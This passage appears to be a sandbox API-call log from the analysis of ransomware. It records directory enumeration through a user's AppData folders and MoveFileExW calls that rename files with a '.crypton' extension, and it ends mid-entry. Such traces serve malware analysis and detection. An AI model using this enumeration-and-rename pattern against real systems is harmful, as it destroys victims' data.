dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.721] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XKS1nIe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xks1nie.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XKS1nIe.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xks1nie.wav.crypton"), dwFlags=0x2) returned 1 [0206.741] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YDi2yV-dMp43o8.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ydi2yv-dmp43o8.xls"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YDi2yV-dMp43o8.xls.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ydi2yv-dmp43o8.xls.crypton"), dwFlags=0x2) returned 1 [0206.756] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YN5Nt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yn5nt.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YN5Nt.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yn5nt.jpg.crypton"), dwFlags=0x2) returned 1 [0206.763] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa3078e0, ftCreationTime.dwHighDateTime=0x1d4cfe9, ftLastAccessTime.dwLowDateTime=0x7010ada0, ftLastAccessTime.dwHighDateTime=0x1d4c7bb, ftLastWriteTime.dwLowDateTime=0x7010ada0, ftLastWriteTime.dwHighDateTime=0x1d4c7bb, nFileSizeHigh=0x0, nFileSizeLow=0x62c2, dwReserved0=0x790032, dwReserved1=0x2d0056, cFileName="YN5Nt.jpg", cAlternateFileName="")) returned 0xffffffff [0206.764] GetFileType (hFile=0x1ac) returned 0x1 [0206.768] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8999bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8999bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0206.769] GetFileType (hFile=0x178) returned 0x1 [0206.774] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf89bfd20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf89bfd20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0206.775] GetFileType (hFile=0x1ac) returned 0x1 [0206.779] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf89bfd20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf89bfd20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0206.780] GetFileType (hFile=0x190) returned 0x1 [0206.785] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf89bfd20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf89bfd20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.791] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf89e5e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf89e5e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0206.816] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.crypton"), dwFlags=0x2) returned 1 [0206.819] GetFileType (hFile=0x20c) returned 0x1 [0206.824] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8a32140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8a32140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0206.825] GetFileType (hFile=0x190) returned 0x1 [0206.829] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8a32140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8a32140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.830] GetFileType (hFile=0x1a4) returned 0x1 [0206.835] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8a32140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8a32140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0206.840] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8a582a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8a582a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0206.841] GetFileType (hFile=0x214) returned 0x1 [0206.849] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8a582a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8a582a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.851] GetFileType (hFile=0x214) returned 0x1 [0206.855] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8a7e400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8a7e400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.856] GetFileType (hFile=0x214) returned 0x1 [0206.860] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8a7e400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8a7e400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.861] GetFileType (hFile=0x214) returned 0x1 [0206.865] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8a7e400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8a7e400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.866] GetFileType (hFile=0x214) returned 0x1 [0206.871] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8aa4560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8aa4560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.871] GetFileType (hFile=0x214) returned 0x1 [0206.876] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8aa4560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8aa4560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.876] GetFileType (hFile=0x214) returned 0x1 [0206.882] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8aa4560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8aa4560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.883] GetFileType (hFile=0x214) returned 0x1 [0206.896] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8aca6c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8aca6c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.899] GetFileType (hFile=0x214) returned 0x1 [0206.903] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8af0820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8af0820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.904] GetFileType (hFile=0x214) returned 0x1 [0206.908] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8af0820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8af0820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.908] GetFileType (hFile=0x214) returned 0x1 [0206.915] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8b16980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b16980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.915] GetFileType (hFile=0x214) returned 0x1 [0206.920] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8b16980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b16980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.920] GetFileType (hFile=0x214) returned 0x1 [0206.925] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf8b16980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b16980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0206.928] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8b16980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b16980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0206.928] GetFileType (hFile=0x190) returned 0x1 [0206.933] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8b3cae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b3cae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.936] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8b3cae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b3cae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0206.940] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8b3cae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b3cae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0206.941] GetFileType (hFile=0x190) returned 0x1 [0206.946] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8b62c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b62c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.947] GetFileType (hFile=0x190) returned 0x1 [0206.951] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8b62c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b62c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.951] GetFileType (hFile=0x190) returned 0x1 [0206.955] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8b62c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b62c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.956] GetFileType (hFile=0x190) returned 0x1 [0206.961] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf8b88da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b88da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.962] GetFileType (hFile=0x190) returned 0x1 [0206.968] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf8b88da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b88da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.972] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf8b88da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8b88da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0206.973] GetFileType (hFile=0x20c) returned 0x1 [0206.979] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf8baef00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8baef00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0206.981] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: 